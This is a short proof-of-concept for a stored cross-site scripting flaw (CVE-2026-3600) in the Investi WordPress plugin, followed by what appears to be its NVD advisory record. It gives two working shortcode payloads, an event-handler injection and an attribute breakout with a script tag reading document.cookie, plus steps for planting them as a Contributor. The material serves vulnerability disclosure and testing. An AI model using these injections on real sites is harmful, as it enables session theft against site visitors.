CVE-2026-3600

<!-- PoC for CVE-2026-3600 --> <!-- Usage: Add this shortcode to a page/post content as a Contributor user --> <!-- Payload 1: Event handler injection --> [investi-announcements-accordion maximum-num-years="5" onmouseover="alert('XSS_CVE-2026-3600')"] <!-- Payload 2: Breaking out of the attribute --> [investi-announcements-accordion maximum-num-years="1"><script>alert(document.cookie)</script><"]

{"cve": {"id": "CVE-2026-3600", "sourceIdentifier": "[email protected]", "published": "2026-04-08T05:16:05.960", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Investi plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'investi-announcements-accordion' shortcode's 'maximum-num-years' attribute in all versions up to, and including, 1.0.26. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the 'maximum-num-years' attribute value is read directly from shortcode attributes and interpolated into a double-quoted HTML attribute without any escaping (no esc_attr(), htmlspecialchars(), or similar). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/investi/tags/1.0.22/includes/widgets.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/investi/tags/1.0.22/includes/widgets.php#L7", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/investi/trunk/includes/widgets.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/investi/trunk/includes/widgets.php#L7", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3486937/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/51aa0d86-e623-46d1-9d37-a36b4825c071?source=cve", "source": "[email protected]"}]}}